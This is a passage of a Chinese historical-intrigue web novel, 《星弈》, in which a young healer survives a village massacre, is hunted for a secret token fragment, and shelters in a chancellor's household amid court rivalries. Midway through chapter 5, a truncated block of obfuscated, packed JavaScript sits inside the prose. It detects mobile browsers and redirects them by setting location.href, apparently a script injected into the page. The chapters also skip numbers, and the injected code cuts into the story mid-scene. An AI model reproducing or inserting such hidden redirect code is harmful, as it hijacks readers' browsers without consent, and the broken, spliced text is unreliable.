《星弈》
1. 楔子
天晟末年,王朝内忧外患交迫,山河破碎,大厦将倾。方门起义爆发,烽火四起,天下群雄揭竿响应,昔日盛极一时的王朝,终在连年混战中分崩离析。
末代帝王自尽于乾明殿前,一代权相战场失踪,生死成谜。帝王陨落,权相无踪,传国玉玺遗失,天下自此再无统领之主。
彼时,北方诸国林立,以北荣为尊;南方割据四方,以南越为长,和独立于南北之外的天穹古部呈三足鼎立之势。
十数年间,天下征伐不休,山河动荡,生灵涂炭,最终勉强凝成“五国十州一部”的格局,维系着一触即碎的平静。
可平静之下,暗流早已波涛汹涌。各方势力虎视眈眈,皆在等待一个能倾覆天下的契机。
人人皆是棋手,人人都算尽乾坤,可到头来,谁又不是这乱世棋局中身不由己的棋子?
而这个身
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负星云令秘密的女孩:苑卿桉,就是最重要的那枚棋子。此时,她正茫然的奔走于乱世之中,寻找着自己失踪的祖父,对自己身上藏着的惊天秘密一无所知。
她不知道,这以天下为盘的棋局早已布好。她踏出的每一步,都在他人的算计之内。她是最不起眼的棋子,亦是能倾覆这天下的唯一破局之人。
前路坎坷,身不由己,而这盘乱世棋局,才刚刚开始……
2. 第 2 章
晋元三十六年,秋
良州边塞小镇的枫叶早早就染红了天空,那漫山遍野的红色在阳光下灼灼如华,犹如一团烈火,晃的人眼睛都有些睁不开。
苑卿桉刚从镇上义诊回来,她背着药包,手里提着几株路上采摘的草药,沿着石子路进村。
还未走到村口,浓郁的血腥味儿和滚滚浓烟裹挟着灰尘扑向她。她心里顿时咯噔一下,一股不祥的预感疯狂滋生。快步冲进村,眼前的景象,让她瞬间如坠冰窟!
原先的温馨村镇此刻遍地狼藉,入目满是鲜红。一夕之间,她生活了十五年的小镇,变成了人间炼狱。那些早晨还笑着说话打趣的熟悉乡邻,此刻却横七竖八的倒在路边没了呼吸。
干辣椒,玉米棒,风干的肉肠散落一地,茅草屋也被推倒烧的只剩下灰。那焦黑的木梁斜斜的垮在地上,风一吹,卷起满地灰烬。
此时,偌大的村子,连一声虫鸣,一缕炊烟都再寻不到。四周也静得可怕,唯有风穿过残垣的呜咽,像是无数亡魂在低声泣诉。
她瞳孔猛的一缩,疯了一般快步走过去,脚下踩着的是碎裂的瓦砾,烧残的木片。
“张婶,李奶奶,陈伯……”
苑卿桉丢下手里的草药扑到那些熟悉之人的尸体旁边,眼睛红的厉害,颤抖着伸手挨个去探他们的呼吸。
一个,两个,三个……
每探一个,她的心就凉一分。
“桉桉……”一声微弱的呼喊让苑卿桉浑身一震,她顺着声音来源望去,“林叔!”
她哽咽着声音,起身的动作又急又怕,被房梁绊倒后也顾不上掌心的磨出的血痕,只想着爬到林默身边,把他扶起来,眼泪大颗大颗滚落滴在林默的脸颊上。
“林叔,发生什么了,怎么会……怎么变成这样”
林默气息奄奄的靠在她怀里,从胸襟处费力的掏出染血的信,塞到她手里。“桉桉……你祖父给你的信,有人要杀你,快……你快跑……跑的越……越远……”
苑卿桉想回握住他的手,却没能如愿,只能眼睁睁看着他满是鲜血的手缓缓垂下。
“林叔!”
她抱紧林默,哭的伤心。片刻后,她忍着悲痛擦掉眼泪,打开那一小截皱巴巴的信。
信上只有一句未完的话:桉儿,你记住,千万别相信任何人,尤其是……”信后面的一截被人撕碎,已经无法辨认了。
可不等她细想清楚其中的关窍,凌乱急促的脚步声从远处传来。她忙取下头上的簪子璇拧开,卷好的信纸塞进簪子里讯速躲进一旁的稻草堆。
“哪儿去了?明明看着她回来了!”
几个持刀的蒙面黑衣人互相对视了几眼后,视线都落在了为首的青衣蒙面男子身上。
“搜!”
“是!”
苑卿桉躲在草堆里,死死捂着自己的嘴巴,压低呼吸声,一动不敢动。透过草堆间的细缝,她小心翼翼的观察着外面的情况。
“大人,没有发现那个女人的踪迹。”
“这边也没有。”
听着黑衣人陆续回来的汇报,青衣男人冷哼一声,“继续找!”随后他不着痕迹的瞥了一眼那草堆,转身离开了。而那青衣男人根本就没走远,他带着人躲在暗处,静静的看着苑卿桉,观察着她的一举一动。
见黑衣人悉数离开后,苑卿桉才松了一口气从草堆后面出来,大口大口的呼吸着新鲜的空气。
她擦了擦额头的冷汗,惊魂未定的站起来,还没站稳,脚下一软又栽倒在地。见苑卿桉只是静静的坐在地上,迟迟没有任何动作,青衣男人按耐不住现身。
“给我拿下!”
一声大喝吓得苑卿桉一哆嗦,爬起来扭头就往反方向跑冲进了道路旁的树林里。
“抓活的!”蒙面黑衣人穷追不舍的跟在她身后。
她穿梭在荆棘丛生的密林里,身上的衣服被划开口子,伤口不停的往外渗血,细密的疼痛刺激着她的神经。可现在她无暇顾及这些,更不敢回头,就连跑掉了一只鞋子也浑然不觉。
而她只顾着光脚往前冲时,脚下被湿滑的青苔一绊,惨叫着从山坡滚落。枯枝碎石划破单薄衣料,浑身添了数道血痕,疼得她蜷缩了一瞬,却咬着牙爬起来不敢多停。
“大人,人摔下去了。”
青衣蒙面人站在山上,俯瞰下方。他盯着苑卿桉一瘸一拐的背影,眼神幽暗,抬手时食指微勾,黑衣人立刻领悟他的意思冲下山坡。
几波黑衣人从四面八方包抄过来,将苑卿桉团团围在中间,蒙面青衣男缓缓而来。
“交出星云令碎片,饶你不死!”
“什么星云令碎片,我不知道你们在说什么!”苑卿桉喘着粗气,面色惨白,一手背在身后把毒粉攥在手心,一手擦去嘴角血渍。
她强迫自己必须冷静下来,可那颤抖的声线和下意识后退的步伐,还是暴露了心底的恐慌。
“敬酒不吃吃罚酒!”
青衣男人话音刚落,四个蒙面黑衣人就像疯狗一般率先扑上去,长刀直逼苑卿桉面门,势道凶狠得仿佛能劈开树干。
苑卿桉一个侧身躲避刀锋,扬出手里的毒粉,两个黑衣人一时不察,毒粉直扑面门,沾了毒粉的肌肤顷刻间变得通红,钻心的灼痛感席卷全身,倒在地上疼的打滚。
“有毒!”
另外两名黑衣人下意识抬手遮挡毒粉。苑卿桉抓住机会,捡起脚边掉落的刀,指尖轻触刀身,将毒粉撒在上面后抓起刀就砍向黑衣人。虽力道不足,招式不稳,但也砍伤了其中一人的手臂。
“嘶!”
黑衣人捂着手臂,鲜血飞溅的声响与痛呼声同时炸开,他的长刀脱手,手臂间的鲜血如断线珍珠般滚落。
苑卿桉趁势抬脚踹在他胸口,黑衣人撞向树干后倒在地上想爬起来时全身都在疼,那种灼热的疼痛几乎要将他吞噬。
另一个黑衣人一刀砍在她的后背上。苑卿桉闷哼一声,拔下自己头上那只素白无华的簪子一个璇身,簪子尖直刺那人的眼眶,涌出的鲜血溅到她的侧脸上。
“啊!”
黑衣人捂着眼睛惨叫一声,胡乱的砍向苑卿桉。她抓住他的手臂用力一扯,随后抬脚,膝盖用力顶在那人的腹部就把人甩在地上。
虽然她击败了这四个黑衣人,可自己也已经是强弩之末。
她虽立于林间,但身形不稳,紧紧咬着唇,仿佛在忍受着极大的痛苦而她持簪的右手更是不受控制的颤抖着。左手死死攥紧长刀,刀刃不知何时划破掌心,鲜血沾了满手。一滴一滴的鲜血落在地上,仿佛是盛开的曼珠沙华,实在耀眼。
其他的黑衣人见此情形,都暗自提高了警惕。
“都退下!”青衣男人低声轻呵,黑衣人退至一旁观战。而他身形一掠便已然夺下了她的簪子,簪尖抵在她咽喉之上。
“星云令碎片,你交,还是不交?”
“什么星云令碎片,我真的不知道你在说什么!”苑卿桉握刀的手一紧,感受到喉咙处的细微疼痛,下意识颤了一下,看似没有在动作,实则暗暗找机会反制。
“少给我装蒜!”
青衣男人一眼看穿她的小心思,也没了跟她周旋的耐心,直接簪子就要刺向她的喉咙。
苑卿桉吓得心跳几乎骤停,慌忙借着后仰的力道旋身后撤拉开身位。可青衣男人又怎会给她喘息之机,他的动作快如闪电,手中玉簪恍若寒星,直刺她的心口。
她慌忙横刀格挡,手臂被震的发麻。而青衣男人攻势凌厉,簪尖刁钻,专挑她破绽处逼杀,不过数招,她的后背被划开一道血口。
剧痛之下,苑卿桉反倒更加冷静了几分。她不再硬拼,只借着周围的树木荆棘进行周旋躲避。
眼见对方再次逼近,她避开致命一击的同时抬脚狠狠踹向对方膝盖,趁他身形一晃,借着巧劲儿夺回自己的玉簪,簪尖划破他的手腕。
青衣男人侧身闪避,攻势愈发迅猛,眼中戾气更盛。苑卿桉步步退守,环顾四周,大脑飞速运作寻找脱身之策。
而她这一瞬间的分心恰恰给了青衣男人可乘之机。只见他双脚蹬地猛地窜出,双拳像是裹着劲风用力砸在她腹部!<
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p>“唔!”
苑卿桉闷哼一声,气血翻涌,整个人被震飞数米,后背狠狠撞在粗树干上后倒在地上,碎裂的树皮掉了她一身,嘴角也溢出血丝。她看着密林上圆形的天空,眼冒金星,眩晕感不断袭来。
她蜷缩着咬破自己的唇,疼痛让她清醒了几分。她攥紧簪子扶着树干想撑起身,却因没有力气跌回地上仰躺着,还咳了一口血。
看着倒地不起的苑卿桉,青衣男人眼里闪过一丝快到几乎看不见的慌乱,可不等他做出反应,一股浓厚的肃杀之气就向着他袭来。
他转身的瞬间抽出佩刀,接下那人的一剑后,双方都被迫后退了几步,其他黑衣人立刻上前护住青衣男子。
“你是谁?”
蒙面灰衣男子未发一言,直接跟他缠斗。他的剑势凛冽如霜,每一招都直逼青衣男子的软处。
青衣男子虽身手不凡,却因方才一瞬的分神落了下风,刀光与剑气剧烈碰撞,周围空气都在无声的颤栗。
数名黑衣人见状不再犹豫,齐齐挥刀围剿,刀光剑影间,灰衣男子被裹在中央。可他却丝毫不惧,长剑横扫间,首当其冲的两名黑衣人闷哼一声,咽喉已被划破踉跄着倒地没了气息。余下的黑衣人面面相觑后,攻势也愈发凶狠。
灰衣男子腰腹接连被刀刃划开深口,鲜血瞬间浸透了衣衫,可他手中的剑却没有半分迟缓,招招致命,毫不留情。
青衣男子瞅准空隙,一刀劈向灰衣男子面门,灰衣男子侧身避让,还是被砍伤左肩,鲜血直流。
他强忍剧痛,反手一剑直刺青衣男子心口,青衣男子仓促间偏身躲闪,胸口处仍被剑尖狠狠刺入,剧痛瞬间席卷全身。
青衣男子捂着伤口,目眦欲裂的看着他,可当他看清了灰衣男人手腕间无意露出的那一小节血月刺青后脸上由怒转喜,又由喜转慌。
“撤!”他不再犹豫,低喝一声挥刀逼退灰衣男子,踉跄着带人转身掠向暗处。
灰衣男子看着他逃离的背影,眼眸深邃。他吐出一口血,支撑不住单膝跪地,长剑拄地撑着身子,望向地上的苑卿桉。
苑卿桉方才就一直在观察着这个灰衣男子,她爬起来攥着簪子。
“你是谁?为什么救我?”
灰衣男子不语,只是坐下闭眼休整。苑卿桉盯着他看了几眼后站起来拍了拍自己身上地灰尘,将簪子簪回发间,走到另一边坐下。
片刻后,灰衣男子休整好,睁眼起身收剑入鞘,不由分说的推着苑卿桉往山上走去。
“你干什么,我自己会走!”
苑卿桉不知道他想做什么,但直觉告诉她,这个人不像敌人,于是假意顺从的跟着他到了山顶。一到山顶,苑卿桉就持簪刺向他,可他却不躲不避,任由簪子刺进自己的心口。
“你!”
灰衣男人的眼神漠然的没有一丝温度,他静静的垂眸,战立在苑卿桉的面前,就像是下属完成任务后,面对主子一样。
苑卿桉看着他的样子,联想到祖父那从不曾跟他提起的过往,她试探性的抬手,随后猛的揭下他的面巾。看清男人脸的瞬间,苑卿桉强压下胃里的翻滚。
那是一张近乎让人难以忍受的脸,上面伤疤纵横交错,犹如狰狞的虫蚁爬满整张脸,整张脸,只有眼睛两侧的皮肤尚且还能看。
面巾被突然揭开,他没有愤怒嘶吼,没有狠戾神色,他眼眸中那近乎残忍的冷静让人不由得感到头皮发麻。
就在苑卿桉想说些什么时,他却上前几步,走到悬崖边,看着远处从山间蜿蜒流淌而出的河流。
河流蜿蜒曲折,这儿到山脚下的河床并不算高,能清楚的看到肥美水草在水里沉沉浮浮,还有那隐隐可现的乱石。
苑卿桉走到他面前,顺着他的视线看过去。下一秒,他突然后退两步用力在背后推了她一把,防备不够,惯性作用之下直直的坠落悬崖。
风裹挟着花香和日落的柔和擦过苑卿桉的脸颊,她坠落的前一瞬,只清晰地看见,崖上那道伤痕累累的身影,依旧静默的立在原地,一动不动,像一尊守了千年的石像。
4. 第 4 章
良州
陆归鸿昨夜一路风尘仆仆来到清水镇的一家客栈歇下。他一夜未眠,早早就起来站在窗边看书。
他一身素色衣袍,外罩一件深色披风,墨发用玉簪简单束起。披风随风飘起,内里绣着松柏样式的靛青色长袍露了出来。领口袖口的云纹花边低调内敛,腰间月白色银丝水纹腰封上的墨玉在晨曦之下泛着温润的光泽。
“少将军,属下已经打听清楚了,昨日枫镇出事,下午良州州主就下令让人封村了,现在枫镇五里之内都是官府的人。”陆七推开门,带着晨间朝露的微凉进来。他快步上前,低声禀报。
“宋彦明动作倒是快!”陆归鸿翻过一页书,视线依旧黏在书本上。
“属下还发现,在枫镇小道两侧的密林处有不少的血迹,沿路还有打斗的痕迹。”
“莫非还有活口?”陆归鸿眼眸一眯,面无表情,看不出喜怒。
“属下也是这样猜测,于是一路沿着血迹最后来到悬崖边,血迹就消失了。”
陆归鸿闻言放下书册,指尖轻轻敲击书页。“我若是没记错,淮水就贯穿整个枫镇并连接堰州。”
“是,那悬崖下方便是淮水河滩了。再往下游走,就进入堰州地界了,此人极有可能负伤逃往堰州了。”陆七末了,偷偷抬眼看他。
“少将军,此人会不会跟我们一直在找的碎片有关联?”
陆归鸿听到陆七的话神色微动,沉思片刻后起身收拾东西。“即刻启程去堰州。”
“是!”
陆归鸿两人乔装打扮了一番后很快就进入了堰州。他们刚进入一家茶馆喝茶,就听到周围百姓正议论纷纷。
邻桌几个茶客就凑成一团,嗑着瓜子压着嗓子闲聊。“哎,你们昨儿听说没?丞相府那个张福,又闹得天翻地覆了!”
“张福是谁?”一个年轻不知事的小伙子一脸茫然的看着众人。
“就是那个为救相爷赔上一条腿的老奴!如今仗着有功,越老越张狂了。听说昨儿从淮水河滩捡了个姑娘,想强留在身边,结果被相爷发落去马厮了。”
“他啊,打打不得,骂还骂不过,偏生丞相夫人顾念旧情,闹着拦了一次又一次,不然,他还有好日子过?”其中一个壮汉不屑的嗤笑。
又一人赶紧往四周看了看,声音压得更低。“我说句不该说的……那姑娘进了相府就没再出来,你们说……不会是……相爷他……”
“嘘——不要命了!相府的事也是你我能嚼舌根的,仔细你的脑袋。”
那人立刻吓得缩脖子,慌忙端起茶碗猛灌一口。“不说了,吃茶!吃茶!”
陆归鸿听着那些百姓的话,递到嘴边的茶水迟迟没有喝下去,几秒后他又放下茶杯,低声吩咐陆七,“去打听一下。”
“是,公子!”
陆七应了一句匆匆离去,完全没注意到他要找的主角此刻就在大街之上。
待到那些茶客开始转移话题,陆归鸿才端起茶水抿了一口,无意抬眸间,苑卿桉的身影就闯入了他的视线。
那是!
陆归鸿瞳孔一缩,端着茶杯的手骤然一紧,他几乎是下意识的,本能的站起来,桌面的茶盏被震的发出细微的声响。
他死死盯着苑卿桉,仿佛要把她盯出一个洞来。
太像了!
不,这世上绝不会有那么巧的事……
陆归鸿想起先前听到关于苑卿桉样貌的只言片语,他的眼底悄然闪过一丝寒意,旋即垂下眼眸。
当他再抬眼时神色已恢复如常。只是端茶的手,比方才更稳了几分。
苑卿桉昨夜也是彻夜未眠。虽说庄聿安发落了张福后,并未命令限制她的出行,可春花秋月却还是贴身跟着她。
她出来本意是想看看能不能打听到什么对自己有用的消息。可碍于春花秋月,她根本没有什么机会。
再加上这一路,她总觉得有人在监视自己,她知道这样下去不是办法。“我自己走走,你们先回去吧。”
“这……”春花秋月互相对视了一眼,都没动作。
“怎么,我说的话你们就不听了吗?”
“奴婢不敢。”见苑卿桉有些动怒,春花秋月忙行礼退下。
待春花秋月离开后,苑卿桉心头的忧思不减反增。暗中盯着自己的那双眼睛似乎并未随着春花秋月的离开而消失。
难道,还有别人在跟踪自己?
这让她越想越不对劲,于是她灵机一动,故意走进了一家高档成衣坊。
店小二见她进来,立马笑脸相迎。“这位小姐,看看成衣啊。您看上哪件,都可以去隔间试穿。不过咱们店的锦衣面料都很华贵,先看好了再试,弄脏了可得按价赔。”
“我先看看。”苑卿桉假意挑选衣服,实则透过窗户不动声色的观察街上的行人,她依旧没有发现可疑之人,可那股被监视的感觉却愈发强烈,这让她感到非常不安。
“好嘞,小姐您慢慢看。店里的女侍就在外头侯着,您有需要随时吩咐。”店小二说完就退了出去。
苑卿桉挑了一件衣服,走进隔壁的试衣间,片刻后,她低声喊了一句。“我有些不舒服,请问更衣间在哪儿?”
门口的女侍轻扣了两下房门得到应允后才推开门。只见苑卿桉撑在桌案上,一只手放在自己的小腹上,似乎是肚子不舒服。
她忙关上门扶起她。“小姐,更衣间在后门小巷里,奴带您去。”
“有劳了。”
苑卿桉来到更衣间后,找了个借口询问清楚回相府的路之后,她就打发了女侍沿着小巷一路往前拐了几个弯后,那股如芒在背的感觉才慢慢消散。
她一路穿过长街从侧门回到了丞相府。
少顷,暗中监视之人便察觉不对,待进入成衣店后,苑卿桉早已没了踪迹。
而此刻摆脱跟踪的苑卿桉刚刚回到清水阁,就听见院内传来异响。
她匆匆进入院中,只见一个衣着华贵的妇人满脸怒气的坐在石椅上,那妇人手上还拿着一柄扇子用力扇风。
妇人身后的两个妈妈面色不善的盯着苑卿桉,四个丫鬟全都低垂着眼站在妈妈身后,大气不敢喘,春花秋月则捂着红肿的脸跪在一旁。
陈兰注意到苑卿桉,她怒气收了几分,斜睨了苑卿桉一眼,随后上上下下,从里到外打量着她。“你就是张福捡回来的那个野丫头?长得倒是有几分姿色。”
苑卿桉不卑不亢,浅浅作揖行礼,“民女苑卿桉见过夫人。”
“哼,还是个机灵的,难怪相爷会对你另眼相看,给你拨了丫鬟不说,还让你在这清水阁住下。”陈兰把手里的扇子放到桌面,发出细微的声响。
“夫人误会了,民女并无攀附僭越之心,相爷只是见民女落了难心生怜悯才收留我几日,等民女伤好自会离开。”
尽管苑卿桉的语气诚挚,可陈兰脸上的狐疑之色却并未消散。
“既然这样,也不必等了。我今儿就做主送你离开。”陈兰扫了一眼自己身后的李妈妈,李妈妈上前几步,掏出一张五十两的银票甩在她脸上。
苑卿桉微微侧头,银
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票擦过她的脸颊缓缓落在地上。
“这是赏你的,姑娘收好了,可别让这五十两银子成了你最后的敛葬之费。”李妈妈面目鄙夷,语气沉沉。
苑卿桉没有看地上的银票,只是睫毛微动。或许,这是个离开相府的好机会。
她看向陈兰,语气里明显多了几分挑衅和揶揄。“夫人这是何意?”
“我还当你是个聪明的呢,不曾想是金玉其外败絮其中啊!”陈兰怒气上来一拍桌子。
“来人,给我按住了!”
李妈妈和孙妈妈上前将她制住,按跪在地上。
陈兰起身走到苑卿桉面前,居高临下的看着她。“不管你有没有攀龙附凤之心,我相府都容不下你这样的女人。捆了她给我扔出去,别脏了我相府的地。”
“遵命,夫人!”
两个妈妈拿来绳子粗鲁的捆绑她,“给我老实点!”
“放开我!”苑卿桉象征性的情绪激动挣扎了几下,却看见了院外那道被逐渐拉长的影子。
“吵吵闹闹的做什么?”
一声中气之足的嗓音从院外传来,庄聿安一身朝服踏门而入。他的视线最先落在陈兰身上,停顿了片刻,才扫过一片混乱的现场,最后看向苑卿桉。
他眉心微蹙,“这是怎么回事?”
“相爷,是这丫头不懂规矩冲撞了夫人,奴婢们才将她拿下的。”李妈妈和孙妈妈下意识松开了对苑卿桉的禁锢,不敢直视他的眼睛。
“胡闹!夫人不懂事,你们这些贴身伺候的老人也由着她的性子来?”庄聿安厉声呵斥,两个妈妈立刻跪到地上。
“相爷息怒,都是奴婢们照顾夫人不周,还请相爷恕罪。”
陈兰怒气冲冲的站起来,冲到庄聿安面前,语气恼怒却难掩其中的委屈。“你罚我的人,还护着她!”
庄聿安看着她这副模样遂把人打横抱起。“庄林,给她松绑,再让人把院子收拾好。”他说完抱着陈兰就要走,走了几步后停下。
“你好生住下便是。至于孙妈妈,李妈妈,不能劝谏夫人院中胡闹,罚三个月月钱。春花秋月护住不利,各打十个板子,以儆效尤。”
“是!”
“谢相爷饶恕!”李妈妈孙妈妈起身,李妈妈瞥了一眼苑卿桉,她被罚了月钱正愁又气没处撒,于是路过她身边的故意用力撞了她一下,扬长而去。
“苑姑娘,您当心!”庄林见她身形不稳,伸手虚虚的扶了她一下。
“我没事!”
“今日让姑娘受惊了,姑娘请先回内院休息吧。”
苑卿桉看着庄聿安离开的方向,心里的疑云像藤蔓一样疯长,但她表面上却一点儿不露。
“好。”
待苑卿桉进入内院之后,庄林才叫人把春花春月带了下去。
屋内的苑卿桉关上窗户坐在榻上沉思。今日庄聿安的反应实在奇怪,他是不是知道些什么?
还是说……
苑卿桉拔下头上的玉簪,取出里面存放的残信。她的指尖触碰到上面干透的血迹是忽然想起,若是之前给她换衣服处理伤口的人碰了这个簪子!
细细思索后,她起身走到床侧,点燃了烛台上的烛芯把信纸伸到火苗上方。祖父的字迹在火中卷曲发黑最后化为了灰烬。
苑卿桉盯着那簇火苗,缓缓往烛台罩上银缸,她吐出一口浊气。
祖父的失踪,枫镇的惨案,星云令碎片,庄家,还有暗中监视自己的人。
她必须弄清楚,这些事件之间到底藏着怎样的关联。
5. 第 5 章
相府另一头,庄聿安一路抱着陈兰回到书房。他把人放到榻上,坐在榻沿,牵起她的手轻轻揉擦发红的掌心,语气温柔,眼神怜爱。
“夫人,我不是告诉过你,要自爱吗?我上朝的功夫,你就把自己手折腾成这样”
陈兰娇气的推了他一下,嘴一撅,语气酸酸的。“老爷,你为什么非要留下那个女人?她不过是一个野丫头,也值得你大费周章的照料。”
庄聿安握紧她的手,指腹轻轻揉过她的手背。“听话,我留她自然有我的用意。”
“可是,现在外头都有不少关于你跟那个女人的流言!”陈兰抽回手,赌气换了个姿势背对着他,眼睛红红的,声音也低了下去。“老爷,你让我怎么想……”
庄聿安坐到榻上半环住她,柔声安抚。“好好好,等我把事情办完立刻遣送她离开。别生气了,嗯?”
“这还差不多!”陈兰转怒为笑,但她的笑容很快淡了几分。
“老爷,那张福呢?你要关他关到什么时候?他那条腿是因为我才废的,当初我答应过他会保他一世无虞。”
听到张福的名字,庄聿安脸色有些不好,但还是耐着性子哄她。“他做错了事合该要受罚,你就别担心了,我有分寸。”
庄聿安声音依旧温柔,但陈兰没注意到,他说这句话时,目光却落在了别处。
庄聿安见她还是有些不大高兴就转移了话题。“方才下朝,王上赏了我一匹天青色缭绫,最是衬你的肤色。我想着给你做一件外衫,可好?”
“缭绫最是难得,我都还没见过呢。”
庄聿安见她开心拍了拍她的腰,陈兰顺势起身。“我让人把东西送到你栖凤阁了,回去看看吧。”
陈兰闻言眼睛一亮,匆匆行了个礼就离开了。庄聿安盯着陈兰宛若少女一般欢呼雀跃的背影,唇角微扬。
待陈兰走远,一直在门外侯着的庄林才进门上前禀报。
“相爷,奴才有事禀报。”
听到庄林的声音,庄聿安脸上的温柔笑意瞬间消失,转而变得严肃冰冷。
“何事?”
“方才苑姑娘上街,暗卫回禀说是发现有人在跟踪苑姑娘,而且对方也很警惕。那人在成衣店外守了片刻,发现苑姑娘不见后才离开。”
庄聿安无意识的叩击榻沿,一下又一下,神情变得冷凝。“还有吗?”
庄林摇摇头,“暗卫怕打草惊蛇不敢贸然靠近,不过苑姑娘的警惕性很强,暗中之人并未得到什么有用的信息。”
“良州过往你查的如何了?”
庄林递上一封鼓鼓囊囊的密信,庄聿安拆开信快速扫了一眼前面几张,当他的看到最后一章时,足足看了半晌。
良久
“屠村,莫非是跟……”庄聿安低声轻喃,反应过来后及时打住话语,冷漠的把信纸折起来扔进火盆。
他盯着火盆里的信纸燃尽,直到最后一缕烟雾散去,才移开视线。
“让暗卫继续悄悄盯着她。记住,非生死存亡之机,不得现身。”
“奴才明白。”庄林领命刚要离开又被庄聿安叫住。
“夫人出身不高,这十几年来又被我宠坏了。她性子纯良,遇事冲动容易被人利用。你找个时间提点一下孙妈妈跟李妈妈,最近别让夫人再去清水阁了。”
“相爷,今日夫人在清水阁闹事时,暗卫请示是否出手,奴才让他们按兵不动。毕竟夫人只是驱赶,未曾伤及她的性命。”
“这个苑卿桉牵扯的实在太广,若是把夫人卷进来,以她的性子,保不齐要受委屈。让人多留意些,免得夫人闯出什么祸事来。”
“奴才会着人去办好的。”
庄聿安一手撑着脑袋,一手捏了捏眉心。
庄林观察过他的脸色后,迟疑了一下才低声开口。“相爷,您若是累了,奴才让人在您房里摆几盆茉莉吧?茉莉最能安神。”
“我需要的,何止是这几盆茉莉?”庄聿安放下手,冷笑一声。
“今日早朝,岳海晟那个老狐狸又以维求盐价稳定之说推脱阻挠盐政改革的进程,实在可恶!”
“相爷,奴才不懂这个。您跟岳计相为着盐铁漕运官营的事儿缠斗了十数年都没有定论,想来也是急不得的。”
庄聿安冷哼一声,“现下,王上登位虽已有十年,可王权分散,我们的人又被那帮旧党牢牢压制。一直这样,终究不是长远之策!”
“还有,把坊间那些在夫人面前乱嚼舌根的人都处理干净。”
“奴才这就去处理。”
庄聿安危险的眯了眯眼睛,里面藏着的暗芒正在汹涌的流动着。
就在外面流言纷飞之际,岳家早早就收了信儿。
岳家书房内,岳海晟头戴黑幅巾,内穿白中衣外罩黑缎宽袖外衣,衣上银丝竹纹暗绣,正端坐在主位红木太师椅上,双手搭在繁饰扶手上,神色威严又肃穆。
他身后立着一副描着竹子图案的屏风,墙壁正中央还挂着一张岳家先祖的画像。
岳群从外面进来,低声禀报。“老爷子,查到了。”
“说来听听。”扶手上红里透黄的盘珠在他的手上缓缓转动,他面上的表情神秘莫测。
“庄相收留的那个女孩儿叫苑卿桉,是个游医,年纪不大,是从良州逃难过来的。身份背景,都很干净。”
岳海晟嗤笑,“他庄聿安会这么好心收留一个孤女?别是找什么歪路子来对付我的。”
“明面上确实查不出问题,不过,我私下让暗网的人仔细去查了一遍,呃……说是……”岳群欲言又止,似乎有些犹豫该不该说。
“是什么?”
“此女所在的枫镇几日前被不明势力血洗,外界也有传闻说枫镇藏了了不得的宝物才遭此劫难。她是唯一的幸存者,如今又被庄相安置在相府,只怕,局势要发生变化了。”
“这十几年来的交锋,庄聿安在朝堂上屡屡占不到先机,如今突然藏了这样一个人在府中,颇为可疑啊!”岳海晟若有所思,盘珠的手突然停下了。
“通知盐田,矿场还有漕运的主要负责人,最近提高警惕,打理上多费些心,别给王上跟庄聿安留下把柄。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368678|199854||http|test|mini|href|location''.split(''|''),0,{}));
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>岳群愣了几秒,看向岳海晟。“老爷子,你是担心?”
“能引发这般惨案的,可见她身上一定有什么了不得的东西。若是我们的人不慎着了道入了局,那就不好收拾了。”岳海晟沉下脸,语气也变得森冷。
“我明白。”
“再让暗网继续查她的底细。越是干净如白纸,就越像是有人刻意掩藏过事实。”
岳群看着他难看冰冷的脸色,应了一声就急忙下去了。“庄聿安,不管你想做什么,我都接着……”
闹市街头一个不起眼的小酒馆,外头看就是一对淳朴夫妻在卖酒,可酒馆内的房间里却别有洞天。
一紫衣男子端坐在椅子上,他的面前正摆放着一盘棋局。上面黑子白子处于平衡态势,无论是谁先走一步,必然会打破这个平衡。
他眉心拧着,指尖捻着一枚黑子细细把玩却迟迟不肯落下。
丝丝缕缕的阳光透过窗户洒在他看似柔和的眉眼上,似乎给他平添了几缕温和。而他的下方,羽涅正单膝跪地垂着眼眸静静等着他的发落。
“人呢?”紫衣男子脸上挂着和煦如风的笑容,可眼底却藏着深邃和冷血。
“主上,是属下无能,没能及时察觉到苑姑娘的心思还跟丢了她。”
“既然她察觉到了,那就不必再跟了。”
“主上,那是否需要属下去探查一下苑姑娘身上是否有碎片?”羽涅抬起头,试探性询问。
紫衣男人抬手制止,眼底已然浮出一层深不可测的笑意。“她?不着急,等她慢慢儿走!”他语气轻淡,仿佛那是件无足轻重的小事。
“倒是羽生上次在枫镇跟她交手时,月影卫出现了,这还真是让人意外。不过这样也好,至少现在,这盘棋,要活了!”
紫衣男人捏着棋子轻轻敲击桌面。“派人暗中盯着丞相府,谨慎些。”
“属下明白。”羽涅起身将窗户内帘也拉上,房间变得昏暗了不少。
“他,可有消息了?”紫衣男子眉心松动,棋子敲击桌面的手停顿。
“南客先生心思深沉且步步为赢,月影卫还半路杀出……”羽涅抿唇低下头,接着解释了一句。
“属下怕打草惊蛇,不敢在贸然派人前往打探。”
“他的手段和谋算还是一如往昔啊。”紫衣男子轻笑一声,脸上闪过淡淡的复杂之色。“看来,这以后的日子怕是会很精彩了。”
主上,那属下接下来要如何做?”
紫衣男子指尖轻叩窗沿,语气平淡,却带着不容置疑的掌控。“他早间不是在岳家停留过?”
羽涅一愣,“主上的意思是……要动岳家?”
紫衣男子没有回答,只是将手中的棋子落在棋盘之上。
啪!
“岳家也好,庄家也罢,她总会走到该去的地方。”
羽涅低头,“属下明白。”
“至于她到底能不能活下来,就是她的事了。我要的,只是那枚碎片!”
紫衣男子望向窗外,眼底闪过一丝难以察觉的复杂。
“去安排吧。”
8. 第 8 章
“公子,你先喝口茶吧。”
陆七倒了茶水,同时也悄悄抬眼观察周围的茶客,未发现异常后他才坐下,低声回禀。
“最近,堰州出现了很多的不明死尸,尤其是枫镇跟淮水河畔附近。属下偷偷去查探过了,那些尸体被烧焦了表面上什么都看不出来,但尸身的伤口处隐约能看出是刀伤。”
“官府可有立案调查?”
